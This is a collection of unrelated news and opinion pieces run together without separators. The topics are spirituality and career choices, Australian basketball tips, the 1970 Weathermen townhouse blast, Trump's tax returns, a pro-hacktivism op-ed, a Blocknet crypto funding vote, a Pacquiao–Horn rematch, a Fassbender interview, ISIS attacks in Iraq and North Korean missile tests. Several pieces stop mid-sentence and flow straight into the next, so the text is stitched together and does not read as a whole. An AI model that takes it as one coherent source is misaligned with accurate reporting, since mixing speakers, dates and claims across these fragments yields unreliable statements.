In their search for more enduring gratification in life, many people are seeking spirituality, if not a born-again commitment to organized religion. "Spirituality is in," says theologian Marty, "so much so that I get embarrassed by it." Says Milton Walsh, a Roman Catholic priest who is pastor of St. Mary's Cathedral in San Francisco: "People want some kind of direction and purpose, the basic 'Who am I? Where am I going?' "
The mood has influenced the career choices of college students and recent graduates. Many are spurning high-powered corporate careers to train for teaching, nursing and other community-service jobs. Joe Holland turned down generous offers after graduating from Harvard Law School a few years ago to move to Harlem to help build up the community. Now the owner of a restaurant and a travel agency, Holland has also founded a shelter for the homeless. "I know that coming to Harlem shut the door to Wall Street," says he. "But I can look at a healthy man, a full-time travel agent, who came through my homeless program two years ago strung out on crack.
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Perth's hand.
The 206cm Cooke, 26, saw just 4:01 of daylight in Perth's 74-64 win over Illawarra, missing one shot, grabbing a steal and picking up a foul.
In the 96-86 win over Brisbane, he logged 6:32 for one rebound, a steal and a turnover.
Perth historically doesn't usually dawdle too long. It has a culture of winning and being ruthless to maintain it. Just think Jaron Johnson last season.
Yesterday, McKay, who is in the US after being released by Spain's Bilbao Basket, tweeted:
It wasn't a tweet which filled Adelaide full of joy.
MEANWHILE Cairns has secured former Melbourne United big-man Chris Patton to fill in for injured centre Nate Jawai.
Jawai suffered a torn ligament in his foot in the first half of the Taipans’ season-opener against Illawarra and was ruled out for 12 weeks.
“We wouldn’t have had an ability to replace Nate so quickly without the full support of Telstra Business Centre Cairns,” Taipans general manager Mark Beecroft said.
“Troy Stone, in his voluntary role as President of the Board, has also facilitated this player sponsorship and it will ensure the best possible outcome for the team, at this point of the season.”
Telstra Business Centre will be Patton’s player sponsor and he will also be committed to its commercial engagements and marketing activations.
Patton, 208cm, played SEABL with the Kilsyth Cobras this year, averaging 17.5ppg and 7.8rpg.
NBL TIPS
V
NEW Zealand again hosts Sydney Kings, albeit with the visitors replacing the injured Kevin Lisch and now suiting Jeremy Kendle in his place. Breakers star Kirk Penney carved up the Kings in the first half last week but it came down to a last-shot basket by DJ Newbill to get New Zealand across the line. Kendle may not be Lisch but if Sydney can show the fortitude and commitment it did in the second half, and again in its win over Illawarra, it most likely can force this to the wire. The Breakers remain a long way from where they aim to be suggesting a Sydney "upset" is on the cards.
IT'S Game 1 of this season's burgeoning Queensland intrastate rivalry with Cairns at Brisbane for the Bullets' first home game after road beatings in Perth and Phoenix. The Taipans will want to bounce back quickly from last week's home humiliation at Adelaide's hands and Scoochie Smith will need a big game to contain Cairns' 2016-17 MVP and Bullets defector Travis Trice. Brisbane has had time to recover from its game against the NBA's Suns and now has the benefit instead of the experience it picked up from that contest. That may be enough to prove the difference.
THE year's first "blockbuster" between the two teams most have selected to be meeting again at the season's pointy end should have The Jungle in a frenzy. Melbourne will hit Perth with the Wildcats' two-time MVP Casey Prather in United's lineup, along with Chris Goulding for the first time since having his appendix removed in Round 1. United was supremely confident last week as it dismantled Adelaide and Goulding's return only makes it tougher. Casper Ware currently is looking like the league's MVP, now Bryce Cotton will need to rise to the occasion. We know he can. Two richly talented, deep and experienced teams... the smart money says stay with the home team, especially in Perth. But I've never been that smart, so I'm tipping Melbourne.
JOEY Wright was less-than-pleased with how his 36ers responded against Melbourne at home after beating Cairns on the road last round. Any air of cockiness was quickly slapped away by United and for the Sixers to return to the winner's list against the Kings, they need to focus on and execute what they do well. Tough defence generates their running game and it showed when they beat the Kings a week earlier in Sydney. Other than an outstanding first half against Melbourne in Round 1, Nathan Sobey has been absent offensively, Matt Hodgson regularly flirts with foul trouble and if not for Mitch Creek's consistency, Adelaide would be worse off than 2-2. Brad Newley rarely fails to fire in front of his friends and family but with Shannon Shorter back, expect a fierce 36ers' win.
PAUL Henare came up with some great strategies last season for New Zealand against Melbourne but there's a talent discrepancy now which previously wasn't quite so evident. He needs Alex Pledger, Rob Loe and Mika Vukona to keep Josh Boone, Dave Andersen and Tai Wesley away from the paint, and that's a big ask. Curtailing the shooting talents of Casper Ware, Chris Goulding, Casey Prather and Kyle Adnam also will be challenging for the Breakers, a team in transition and still not confident of its new identity. The veterans need to shape up, plus Shea Ili and Finn Delany must do more or this won't just be a United win, but a blow-out.
BRISBANE blazes into The Sandpit with Illawarra still reeling at its own ineptitude and desperate at home to finally end its losing skid. Erased 3-0 by Perth in the 2016-17 Grand Final and now 0-3 in 2017-18, it is a while since the Hawks soared. AJ Ogilvy has been struggling and the Hawkls have lacked punch. Rob Beveridge will have his men fired up for this though - although we did expect that in Sydney but instead it was a 16-point reversal. A week of training and getting back the belief and winning mindset suggests Illawarra will not start 0-4. They're my tip but check Brisbane's odds.
CHRIS Patton is no Nate Jawai but his signing does provide some big-man relief for Cairns against a Perth frontline boasting Angus Brandt, Matt Knight, Lucas Walker, JP Tokoto, Jesse Wagstaff and Derek Cooke. And Greg Hire doesn't mind a rebound either. (As you know, Cooke's numbers haven't been setting the world on fire though and this might be his last chance to show what he has to offer.) At this stage, Perth owns a big edge across its frontcourt, and Orange Army fans won't have difficulty remembering what superstar guard Bryce Cotton did to the Taipans in the 2016-17 semis, scoring 34 in a 91-69 rout. It's tough to pick against Perth.
MONEY MAN: Bryce Cotton = Bad memories for Cairns. Pic courtesy Gordon Greaves.
NBL RANKINGS This Wk-Prev (Record)
8 (5) HAWKS 0-3: At home at last and must find the way to restore their self-belief.
7 (6) BULLETS 0-1: Fought it out in Phoenix and will be better for that this round.
6 (7) KINGS 1-2: Capable of snaring a split if they remember to make a defensive effort.
5 (8) BREAKERS 1-1: Looked good early but gave Sydney a sniff which could now prove costly.
4 (3) TAIPANS 2-1: Took a welt from 36ers and must at least split this round.
3 (4) 36ERS 2-2: Looked great, then grated as too many lost focus on what makes them tough.
2 (2) WILDCATS 2-0: Haven't put a foot wrong yet and this is a great early challenge.
1 (1) UNITED 2-0: Get stars back and will want to rise to this early season showdown.
WNBL TIPS
V
YOU better believe Townsville is fired up and ready for defending WNBL champion Sydney after being eliminated by the Flames in straight sets in the 2016-17 semi final series. This time though, Sydney's new "3-point specialist" Asia Taylor faces a genuine inside/outside threat in Cayla George while fellow Twin Tower, Suzy Batkovic, will be giving Jennifer Hamson hell. Sydney has relied heavily on its starters and Townsville's ability to go deep into its bench suggests the Fire has less Flames to extinguish this time around to claim another victory.
WHAT on earth was that 43-point third quarter about last week as Bendigo turned the Lynx into the Sphinx? If ever the Spirit could have been second-guessing themselves, it would have been after being hammered by Melbourne. Instead they shrugged, went with "we had key people missing" and turned around to hand Perth a whopper of a 35-point beatdown. Can Perth make a 36-point recovery in a week? Only if its new team sorts out who is doing what because right now the Lynx have a lot of hero-wannabes and are looking like zero-wallabies. Bendigo again, but in a much tighter contest.
ROCKING into Adelaide, Bendigo will find the new Mac Lightning a whole different proposition to the past two years, Abby Bishop leading from the front and Lauren Nicholson proving to be the recruiting coup of the off-season. Everyone expected Nat Novosel and Nic Seekamp to be prize pickups but Nicholson and Vanessa Panousis were the ones few guessed could have such a profound impact, and so soon. Defending Betnijah Laney - an absolute favourite of mine and a superstar - and Kelsey Griffin will cause Adelaide headaches, while players such as Nadeen Payne and Ashleigh Spencer love coming back to town. But this time, Adelaide will eke out the victory.
DANDENONG is not exactly off to a flyer, although it was stiff to miss out on a road win at Sydney and does have centre Kayla Pedersen running into form. That's good news as she and Carley Mijovic will have their work cut out against Townsville's Twin Towers of Batkovic-George. The Rangers were always going to be heavily dependent on "SaSt" - Sara and Steph Blicavs - but now really must find a greater cross section of contributors or run the risk of Mia Murray, Lauren Mincy, Micaela Cocks and Darcee Garbin running them out of their own gym. This could be the win that puts Dandenong's season back onto the rails.
OH my. The horizon doesn't look any less bleak for Perth as it crosses the country to face in-form Melbourne. Liz Cambage has taken no time at all to find her productive form and she is surrounded by a quality cast that could make the Lynx look like Jar Jar Binks - awkward and out of place. While Perth ignores its potential star wars, it will struggle to move forward. Its playing roles need far clearer definition and Nat Burton needs to find the form she's never had. It appears a very tall order unless the Lynx have done some serious soul-searching this week.
CANBERRA was brought back to Earth with a thud by Melbourne but just as it has shown no fear of any team this season, it won't be upstaged either by Dandenong. If the Rangers are expecting a soft night in the capital, they will receive a rude shock. Nat Hurst is the player Tessa Lavey could one day be, Rachael Jarry knows the Rangers well while Lauren Scherf WAS a Ranger. Throw Abbey Wehrung into that mix with imports Jordan Hooper and Mistie Bass - not to mention Kate Gaze or Ezi Magbegor, although I think I just did - and Dandenong has a long day ahead. Caps again.
WNBL RANKINGS This Wk-Prev (Record)
8 (8) LYNX 0-3: If they cannot get a split this round, the season will be close to gone.
7 (6) RANGERS 0-2: Another team desperately needing a split, at worst. It can get both.
6 (3) CAPITALS 2-2: Reality check but now they know what it will take to play finals.
5 (7) SPIRIT 1-2: Ignore the Melbourne loss but then the Perth win was pretty crazy too.
4 (5) FLAMES 2-1: Finding their way back up the ladder after a narrow home escape.
3 (4) LIGHTNING 2-1: Have a newfound, genuine belief. And Abby Bishop. A superstar.
2 (2) BOOMERS 3-1: Will be watching Townsville's results with interest and on a roll.
1 (1) FIRE 2-0: Have the Sydney demon to exorcise before coming back to Dandenong.
PS
MATT... KNIGHT
(One way to stay healthy...)Left, Associated Press; Right, James Barron/The New York Times
Charles Lockwood
A City Room post recently about a town house on the Upper East Side that blew up in 2006 brought to mind another town house, another era and another explosion — the town house in Greenwich Village that became a bomb factory for the radical group the Weathermen.
Unlike with the physician on the Upper East Side who apparently intended to destroy his town house, the explosion on West 11th Street in Greenwich Village, in 1970, was an accident.
Charles Lockwood remembers how loud it was. He was down the street, taking pictures.
He was a senior at Princeton. He and a classmate with a new camera had driven to Manhattan to take photographs for Mr. Lockwood’s senior thesis. It served as the basis for his book “Bricks and Brownstone: The New York Row House,” published in 1972 and reissued by Rizzoli in 2003.
They had set up their tripod by the parked cars down the block and were focusing on a Greek Revival doorway when the blast went off. Mr. Lockwood said they were thrown by the force of the explosion but were not knocked down. As smoke streamed from the town house, they ran up the street and snapped about a dozen photos, unaware that three people lay dead inside or that two women had fled.
Neither of the women had much on in the way of clothes as they ran out. One had apparently been taking a shower, and the other had been ironing. As the fire trucks pulled up, a neighbor let them in to clean up and gave them clothes. Then they left, coolly heading to the subway.
Before long, the details of the bomb-making emerged. “Shortly after that,” Mr. Lockwood recalled recently, “I started getting visits — one from the New York Fire Department and two from the F.B.I.” His friends at Princeton were nonchalant. The Federal Bureau of Investigation agents found him at his eating club. The second time they showed up, someone yelled, “Charlie, the F.B.I.’s here again.”
“The F.B.I. was particularly curious if I had seen two naked women running from the house,” Mr. Lockwood said. “They kept asking, ‘Did you see the naked girls?’ I told them no, I hadn’t. What I was really worried about was the rest of the block would blow up while we were standing there. I didn’t see Dustin Hoffman, either.”
Mr. Hoffman had lived next door. The living room wall of his apartment had been blown open. His desk had tumbled into the wreckage.
The two women, Cathlyn Platt Wilkerson and Kathy Boudin, remained at large for the rest of the 1970s. Ms. Wilkerson turned herself in in 1980 and was sentenced to three years in prison. Ms. Boudin was arrested in 1981 after an armored-car holdup in Rockland County that left three dead: two police officers and a Brink’s guard. She pleaded guilty in 1984 and was released in 2003.
As for the town house that was destroyed, it dated to the 1840s. It had once been owned by Charles Merrill, a founder of Merrill Lynch. He called it “the little house on heaven street,” which sounded like a line that could have come from the man he sold it to, Howard Dietz, a Broadway lyricist and movie publicist. Ms. Wilkerson’s father, James, had bought it in 1963.
After the rubble was cleared, the vacant lot was sold for $75,000 to the architect Hugh Hardy and Francis Mason, a dance devotee and critic who was working as an assistant to Arthur A. Houghton Jr., the president of Steuben Glass and chairman of the Metropolitan Museum of Art.
Mr. Hardy said the idea originated with his wife, Tiziana. “Tiziana said, ‘Why don’t we buy the land, and you can design the house?’” he recalled last week.
He said he remembered thinking, “Oh, no.”
He designed a two-family structure that was “much less confining than a conventional brownstone.” The idea was for the Masons and their children to take the bottom two floors and the garden and for the Hardys and their children to have the top two floors and a terrace.
His design matched the height and scale of the houses on either side, but had a angular facade that jutted out toward West 11th Street. “It was this whole idea that a new building should express something new,” he said, adding, “We were deeper into diagonals at that point.”
He went before the Landmarks Preservation Commission to convince it that his design was “appropriate” for the site and won approval after agreeing to some changes.
“We couldn’t build it,” Mr. Hardy said. “We went to the bank to try to get a mortgage. This guy says: ‘I can see you’re a nice young man. I could give you a mortgage. There are wonderful houses in’ — he named some part of the East Village — ‘but I am not going to give you a mortgage on any of those places.’”
The man mentioned Westchester County, Mr. Hardy said, adding: “He had redlined all of Manhattan. I got so angry I almost hit him.”
They sold the lot, and the new owners built the house.
Mr. Lockwood went back to Princeton and finished his thesis. He said it contained not a word about the bombing.
“No,” he said. “I remember my faculty adviser getting a kick out of it, but that was about it except for ‘Hey, Charlie, the F.B.I.’s here.’ I turned in my thesis. I won a prize for the thesis. That led to getting a grant, 16 to 18 months of money so I could turn the thesis into a real book.”Senate Majority Leader Mitch McConnell, R-Kentucky, is calling for Donald Trump to make his tax returns public, reviving months-long questions over whether the presumptive Republican nominee will release the documents before the general election.
"For the last 30 or 40 years, every candidate for president has released their tax returns, and I think Donald Trump should as well," McConnell told Business Insider on Tuesday.
The Kentucky senator added, however, that "I don't think there ought to be legislation requiring any American to release their tax returns."
Poll: Clinton has an edge over Trump
McConnell is just the latest in a long line of Republicans that have called on Trump to make the documents public.
Mitt Romney, the party's 2012 nominee, suggested earlier this year that there was a "bombshell" in Trump's taxes, and said in a recent Facebook post that it is "disqualifying for a modern-day presidential nominee to refuse to release tax returns to the voters, especially one who has not been subject to public scrutiny in either military or public service."
Wyoming Sen. John Barrasso, another GOP senator, told CNN earlier this month that it would be a "good idea" for Trump to release his tax returns.
"But he gets to decide that. I'd rather have them released," Barrasso added. "I'm somebody who's in favor of transparency and openness."
Last week, Paul Manafort, Trump's campaign chairman, said that he would be "surprised" if Trump put out the returns.
"I wouldn't necessarily advise him to," he told the Huffington Post. "It's not really an issue for the people we are appealing to."He may not have been Time’s “Person of the Year,” but Edward Snowden undeniably had an explosive impact on American politics in 2013. With legislation pending to curb the NSA’s rapidly expanding powers amidst fumbling and outright lying by the White House and intelligence administrators, the fugitive leaker seems to have been largely exonerated by public opinion, even as the state still reaches for his neck.
For that reason, we should consider that the example set by the famous “hacker” shouldn’t remain just a happy accident, but an essential and regular check on state power. To maintain a free republic in a changing world, hacktivists will have to form the same bulwark to defend the Fourth Amendment that journalists traditionally have for the First. That bulwark is already forming the last line of defense against the erosion of the rights to privacy and due process in amazing ways.
The existence of PRISM shows how dangerously easy it is for routine government activity to wander into policy territory usually reserved for authoritarian states. It also demonstrates how major institutions can fail in their oversight, and mission creep can easily alter departmental relationships, such as between the NSA and DEA, in ways that streamline the brutal militarism of the drug war and empower prosecutors to throw an alarming number of Americans in prison.
The damage is already evident. Last month, PEN (Poets, Essayists and Novelists) International reported that American writers and journalists are starting to self-censor because of NSA surveillance. The Electronic Frontier Foundation has likewise filed a suit representing 22 different organizations who have claimed a chilling effect has deterred members and potential members from communicating with them.
In addition, the government has already attempted to circumvent free speech rights and intimidate the media by using private companies as guerilla enforcers, attacking journalists as well as harassing and threatening leakers. For example, Hackers found leaked HBGary documents revealing a plan to spread anti-Wikileaks propaganda for Bank of America and attack Glenn Greenwald.
Hoping for strict congressional oversight is probably a pipe dream, since congressmen only know what the agencies tell them. As Rep. Justin Amash (R-MI) illustrated recently: “In an extreme hypothetical, let’s say they had a base on the moon. If I don’t know there’s a base on the moon, I’m not going to go into the briefing and say ‘you have a moon base,’ right?” Government agencies have long ago mastered the art of hiding potentially damaging information, including from legitimate inquiry.
There is some evidence that the NSA may even be responsible for a J. Edgar Hoover Effect, further exacerbating the oversight problem. Former NSA analyst and whistleblower Russell Tice claimed high-ranking elected officials have been targeted for spying repeatedly. “They went after high-ranking military officers… they went after members of Congress, both Senate and the House, especially on the intelligence committees and on the armed services committees… they went after judges. One of the judges is now sitting on the Supreme Court.” How this sort of aggressive, unwarranted scrutiny will change the actions of public officials is unclear. What does seem certain is that it will, and likely already has.
Spontaneously, a new journalistic order is emerging. The “networked fourth estate” described in a 2011 working paper by Yochai Benkler for the Harvard Law Review may represent the most promising solution for unchecked government aggression. Benkler notes this informal framework includes the creation of partnerships between traditional news media as exemplified by The Guardian, with hacktivists, bloggers, and “outlaws” such as Wikileaks and leakers like Snowden.
This network represents a new riff on an old theme. Leakers with valuable information have been around for ages, and have customarily gone to the courts or newspapers to blow whistles on government activities. When these institutions fail due to incompetence, intimidation or complicity with the state, this network can provide a vastly broader base of supporters, facilitating what some bloggers are calling an “open-source” government: a regime whose machinations are kept in check by transparency that is publicly enforced by a global network of watchdogs. Since these informal networks are more decentralized than older institutions and have innovative ways of dealing with government retaliation, their flexibility and resilience make them much more difficult to intimidate than traditional media and institutions.
According to Benkler, the outlook for this emergent informational order appears encouraging, and even has a certain technological inevitability: “One would assume that the networked components of the fourth estate will follow the same arc that Wikipedia has followed: from something that simply isn’t acknowledged, to a joke, to a threat, to an indispensable part of life.”
Assuredly, the leaks are not over, and that’s probably a good thing. According to an August 2013 article by Buzzfeed, Anonymous members are present within the U.S. army, some ranking as high as captain. “A lot [of Anonymous members] are mid- to high-rank NCOs,” said one hacktivist currently in the army. “They are well-respected, have connections, and overly large security clearances. A lot of people who are part of the [Anonymous] culture are just dying at this point for something to come across their table that isn’t already out there. It is so easy to leak information that if you want to, you can do it.”
The battle ensuing between hacktivists and the state will be a crucial test of whose hands emerging technological power is better wielded by. Should we trust command-and-control power or spontaneous order? Who will be more responsible with it? Who will be more destructive? Expect the lines between what is “legal” vs. what is “moral” to be blurred as government and “lawbreakers” settle in for a long-haul cold war where each keeps the other from getting too brazen with newfound technological power. This battle will define constitutional rights, government power and the evolution of information technology for the next century.
A Libertarian writer and activist based in Washington D.C., Farrell is a former research fellow with the Center for Competitive Politics and has contributed to publications like The Daily Caller and PolicyMic. Opinions expressed are entirely his own.Blocknet Governance Community Voting System Update.
The Blocknet Protocol Blocked Unblock Follow Following Nov 8, 2017
Voting has been extended for this Superblock.
Recently, an issue with the Blocknet Governance Community Voting System payout mechanism was discovered. In light of this discovery we are deciding to extend the voting for the Community Funds Proposal to Nov 15th. This is because it is such a large amount of Block (130k) to be allocated. Voting will now close at Block 142000. Details are below:
Title: Community Fund Proposals
This is a collection of proposals for community funds to be created utilizing the redeem funds.
Rationale: Reallocate the redeem funds in order to support the long term goals of the Blocknet.
Proposal 1: Bug Bounty Fund
Purpose:
Incentivize white hat hacking and general improvements
Security audits
Cost Assessment: A fixed amount of 50,000 BLOCK
Proposal 2: Ecosystem Growth Fund
Purpose
Trading tutorials
Developer tutorials
Trading tools
Investor tools
Developer tools
Developer incentives
Documentation
Cost Assessment: A fixed amount of 20,000 BLOCK
Proposal 3: Rainy Day Fund
Purpose:
Used as a reserve emergency fund for any unforseen issues and expenses.
Cost Assessment: A fixed amount of 20,000 BLOCK
Proposal 4: PR Fund
Purpose:
Translations
Pay fees for articles, interviews, podcasts, Youtuber videos
Sponsor content (CryptoCompare newsletters, etc)
Advertisements
Graphics, designs, animations
Cost Assessment: A fixed amount of 10,000 BLOCK
Proposal 5: Development Fund
Purpose:
Interim payments to compensate contributors that begin tasks before a proposal period.
New website
Any additional development related costs
Cost Assessment: A fixed amount of 10,000 BLOCK
Proposal 6: Ledger (Secure HW Wallet) Fund
Purpose:
Used for development of Ledger hardware support and future maintenance, updates and support.
Cost Assessment: A fixed amount of 10,000 BLOCK
Proposal 7: Legal Fund
Purpose:
To seek legal council on various questions surrounding the liability of the project members regulatory compliance, such as:
Risk of contributing members if aspects of the project are deemed illegal
Risk of conceiving members if aspects of the project are deemed illegal
Risk of partners if aspects of the project are deemed legal
Compliance risk from GDPR and other regulations
Cost Assessment: A fixed amount of 10,000 BLOCK
Proposal 8: Burn Fund
Purpose:
Permenantly remove the excess Redeem Funds from circulation.
Cost Assessment: The remaining unallocated BLOCK from the Redeem Fund
Total Cost Assessment for the above:
Bug Bounty Fund — 50,000 BLOCK
Ecosystem Growth Fund — 20,000 BLOCK
Rainy Day Fund — 20,000 BLOCK
PR Fund — 10,000 BLOCK
Development Fund — 10,000 BLOCK
Ledger Fund — 10,000 BLOCK
Legal Fund — 10,000 BLOCK
Burn Fund — Remaining unallocated BLOCK from the Redeem Fund
Superblock Total: 0 BLOCK
Redeem Fund Total: 130,000 BLOCK + Burn Fund paid from the Redeem Fund.
Voting Guide: The process of voting takes place in the Service Node wallet.
Open wallet and go to Tools > Debug Console. The debug console will open in a new window.
To vote for the Bug Bounty Fund, please type the following commands as shown below: (Or click here for a clearer version that you can copy and paste)
If voting from the terminal, type in the following: (Or once again, click here for a clearer version that you can copy and paste)
For more detailed voting instructions please click here
To view all proposals in detail, please click here
Recently passed proposals
At the time of voting for the proposals below, 355 Service Nodes were active. At least 10% of nodes must vote for a vote to be legitimate. The following proposals were successfully passed:
ATC Team Proposal: https://goo.gl/RHjWm6 Yeas: 56 / Nays: 0
Core Team Proposal: https://goo.gl/RHjWm6 Yeas: 44 / Nays: 0
Test Team Proposal: https://goo.gl/RHjWm6 Yeas: 44 / Nays: 0
Euro Team Proposal: https://goo.gl/6wyjhT Yeas: 80 / Nays: 0
DXTools Team Proposal: https://goo.gl/RHjWm6 Yeas: 44 / Nays: 0
Social Coordinator: Proposal: https://goo.gl/EPvyoR Yeas: 43 / Nays: 0
— — — —
-As BoxingScene.com previously reported, eight division Manny Pacquiao will not do battle with Jeff Horn in a proposed November rematch as the Filipino will be busy with senator duties.
Pacquiao was due to return to Brisbane for a revenge mission on November 12, four months after suffering a shock loss to Australia Horn at Suncorp Stadium.
WBO welterweight champion Horn, however, will not step into the ring with the 38-year-old in his homeland because Pacquiao has other commitments.
Queensland Premier Annastacia Palaszczuk said in a statement: "My Government will support Jeff Horn's World Boxing Organisation (WBO) welterweight championship defence, with or without Manny Pacquiao, in Brisbane.
"We have been advised that Manny Pacquiao, who Jeff defeated for the WBO title at Suncorp Stadium on 2 July, cannot return to the ring in Brisbane on 12 November as proposed. I am advised Mr Pacquiao, who is also a Senator of the Philippines, will have other commitments at that time. As WBO champion Jeff Horn has decided his championship defence will be in Brisbane.
"Whoever the challenger is, my Government will help arrange the meeting because it will be good news for Queensland. The first Battle of Brisbane, between Jeff and Mr Pacquiao, attracted more than 51,000 to Suncorp Stadium, an estimated global audience of 500 million and provided a $25 million boost to our economy. My Government will continue to liaise with Jeff and his managers on the championship defence."
As BoxingScene noted, former two division champion Jessie Vargas has emerged as a potential challenger to replace Pacquiao in November. Vargas has been out of the ring since losing a decision to Pacquiao, and the WBO title, last November.
“Pacquiao is not a full-time fighter anymore, he’s a politician,” said Bob Arum, Pacquiao’s promoter, to the Las Vegas Review Journal. “His first priority is his work with the government and it’s very, very difficult to perform as a world class fighter on a schedule fighters have to have while he’s being a senator.”
“I really don’t know [if Pacquiao will fight Horn in 2018]. He says yes. He wants to, but we have to see.”
One opponent who won't face Horn in November is WBO, WBA, WBC junior welterweight champion Terence Crawford.
Arum wanted Crawford to be ringside at the Pacquiao-Horn rematch - and then face the winner in early 2018.
Now with Pacquiao out of the way, would Arum consider Horn vs. Crawford in November?
“I think that’s too premature,” Arum said about Horn fighting Crawford. “Too big of a fight to rush it. That could be a Vegas fight.”Loading... Loading...
Welcome to another episode of TLAV Political Roundtable where we break down the week of American politics, and discuss its implication on American life, and the world. In this episode we begin to acknowledge the many bad signs that Donald Trump is not who he seems, yet holding out hope for the best.
Is Donald Trump the answer Americans have been waiting for? No. That entire notion of a political savior is incredibly naive, and is the very foundation by which the political elites control the people and the current faux democracy. Every four years another “savior” promising change is paraded in front of the people, producing moderate change at best, intentionally leaving all the problems(the highly profitable problems) in tact. No one man or woman will ever be the answer to the depths of deceit and control that have been created and maintained over decades, if not longer, of absolute political corruption within Washington D.C.
In today’s show we discuss Iran, the nuclear deal, and the dollar, as well as the seemingly easy switching of roles that has occurred on most political fronts following the election of Donald Trump; the Democrats are looking like Republicans, and Republicans like Democrats; alternative media becoming establishment supporters, and on and on. The real question is whether or not Donald Trump is just simply another extension of the establishment order? No one can yet say for certain, as any rational person should hope for positive change, by anyone’s hand.
Is Trump just being dressed up as an opponent by the corporate media, or is he just the same old boss, with a few new tricks?
Leave your comments below and let us know your thoughts.
Help Us Be The Change We Wish To See In The World.My first encounter with Michael Fassbender was at a hot dog stand.
It’s 1:30 a.m. in tiny Telluride, Colorado. Hours earlier, I’d attended the first screening of Steve McQueen’s 12 Years A Slave at the town's film festival. The movie tells the true story of Solomon Northup (Chiwetel Ejiofor), a free man who, in 1841, was captured and sold to a brutal slave master, Edwin Epps (Fassbender), in the antebellum South. It is so wholly immersive and powerful that even its stars were left speechless—during the post-screening Q&A, Brad Pitt, the film’s producer, suggested the audience “walk around the block” to get some air and recover from the screening, while Fassbender admitted to being "taken aback."
Anyways, I’m starving, and at this hour, the only real option in this bucolic ex-silver mining town is the Diggity Dogg hot dog stand. So I mosey on over. I’ll have the Bratwurst. As soon as those words leave my mouth, I turn around and am staring at a tipsy-looking Fassbender. A huge smile is spread across his face. He notices my Knicks hat and asks if I’m from New York, making polite small talk while we wait for our dogs. He doesn’t know I’m a journalist. I neglect to crack a Shame joke.
A few weeks later, we’re both in New York discussing 12 Years A Slave.
“Did you go for the Fire Dog, or the Bratwurst?” he asks.
“Bratwurst.”
“Good choice.”
And, after exchanging a few pleasantries about Telluride—“It’s a very special place,” says Fassbender—we discuss the actor’s magnetic, Oscar-caliber performance as Epps.
What was the most important part, for you, in portraying this grotesque character?
It was grueling to find the inner workings of a human being in the character of Epps. I wanted to create someone that was, at times, sympathetic to the audience—despite the cruelty he displays. I wanted the audience to catch glimpses of themselves in Epps, even for a millisecond, and not have the luxury of keeping themselves at an arm’s distance from him. He’s a terrible slave-owner, but also a human being filled with complexity.
I spoke with Tom Hardy awhile back, who was two years below you at Drama Centre London, and he said you were the best actor in the school, and were very method in terms of preparation. He shared a story with me about how you were playing a man in a wheelchair and spent all day at school in the wheelchair, even during lunch.
Yeah, that’s true. That was Sean O’Casey’s play The Silver Tassie. I was playing a football player who loses his legs and ends up in a wheelchair. I felt like I needed to bring the physicality of being a football player into the wheelchair, so I spent a lot of time in it and learned how to do wheelies, and spin around. That was a technique that, at that time, I was very much into. But since, I’ve developed my own sort of style, as it were.
I heard you’re a big fan of heavy metal, and once wanted to be a metal guitarist. I read a story once about how Daniel Day-Lewis listened to a lot of Eminem to help him get into character for Gangs of New York. Did you listen to any music to prepare you for Epps?
Hmm … I had a BB gun in my trailer and I remember I’d do target practice
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and BBC. Other news outlets reported different numbers of victims, including workers and security forces.
Deputy Oil Minister Hamid Younis said firefighters extinguished the fires caused by the explosions, and the extent of the damage to the plant was being assessed, the AP reported.
The other attacks Sunday included a car bomb blast near Latifiyah, 20 miles south of Baghdad, that killed seven people, the AP reported.
The Islamic State, also known as ISIL or ISIS, has stepped up attacks in the nation in recent days. On Wednesday, three separate car bombings in Baghdad killed at least 93 people and wounded more than 150 in one of the deadliest days in Iraq this year.
On Monday, 13 people died when an attacker blew up a minibus in the city of Baqouba, 30 miles northeast of Baghdad.
Iraqi government leaders maintain the attacks are a desperate response to the Islamic State's recent military setbacks in Iraq and Syria, where the militant effort to carve out an extremist Islamic caliphate has stalled.
James Piazza, a political science professor at Penn State who specializes in Middle East affairs, said a political deadlock that has paralyzed the Iraqi government has made Iraq ripe for terror attacks and made "effective and coherent security policy impossible."
Still, Piazza says that that "substantial battlefield reversals" has put a strain on the Islamic State financially and psychologically.
"The loss of territory has deprived them (Islamic State militants) of access to oil resources and other means of financing their organization," Piazza told USA TODAY. He said the military setbacks represented a "demoralizing, symbolic loss" that also threaten the group's international image.
"ISIL is using these high-profile terrorist attacks against symbolically important targets in Iraq, such as Shiite neighborhoods and religious sites, and strategic targets like oil and gas plants, to try to demonstrate that it is potent and attractive to new recruits," he said.
In Syria, the Islamic State is repositioning its forces in the group's de facto capital of Raqqa in response to increasing military pressure from coalition airstrikes and ground forces growing in effectiveness there, U.S. officials say.
"We know this enemy feels threatened, as they should," said Col. Steve Warren, a coalition military spokesman in Baghdad.
Read or Share this story: http://usat.ly/27oiKMgSEOUL, South Korea (AP) - The Latest on North Korea test-firing a missile (all times local):
10:30 p.m.
President Donald Trump has been asked about the failure of several North Korean missile tests recently and why those launches keep blowing up.
DAY 91 - In this april 20, 2017, file photo, President Donald Trump greets Italian Prime Minister Paolo Gentiloni as he arrives at the West Wing of the White House in Washington. (AP Photo/Andrew Harnik, File)
Trump tells CBS' "Face the Nation" television show on Sunday that he'd "rather not discuss it. But perhaps they're just not very good missiles. But eventually, he'll have good missiles."
Trump also told the show he's not going to talk about U.S. military options with North Korea because "we shouldn't be announcing all our moves. It is a chess game. I just don't want people to know what my thinking is. So eventually, he will have a better delivery system. And if that happens, we can't allow it to happen."
He also called North Korean leader Kim Jong-Un "a pretty smart cookie" for being able to hold onto power after taking over the reclusive Asian nation at a young age.
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10:10 p.m.
Trump's national security adviser, Army Lt. Gen. H.R. McMaster, says North Korea's most recent missile test represents "open defiance of the international community." He says North Korea poses "a grave threat" not just to the United States and its Asian allies, but also to China.
Speaking on "Fox News Sunday," McMaster says it's important "for all of us to confront this regime, this regime that is pursuing the weaponization of a missile with a nuclear weapon. This is something that we know we cannot tolerate."
McMaster says Trump "has made clear that he is going to resolve this issue one way or the other, and what we prefer to do is to work with others, China included, to resolve this situation short of military action."
That means, he said, working with partners in the region and globally on enforcing current U.N. sanctions and perhaps "ratcheting up those sanctions even further. And it also means being prepared for military operations if necessary."
McMaster said North Korea "is a place where U.S. and Chinese interests overlap."
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9:45 p.m.
Seoul's presidential Blue House says White House National Security Adviser H. R. McMaster has confirmed that the U.S. won't be seeking South Korean money for the Terminal High-Altitude Area Defense system, or THAAD, currently being installed in the country's south.
President Donald Trump said last week that he would make the Asian ally pay $1 billion for the THAAD missile defense system now being deployed in its territory.
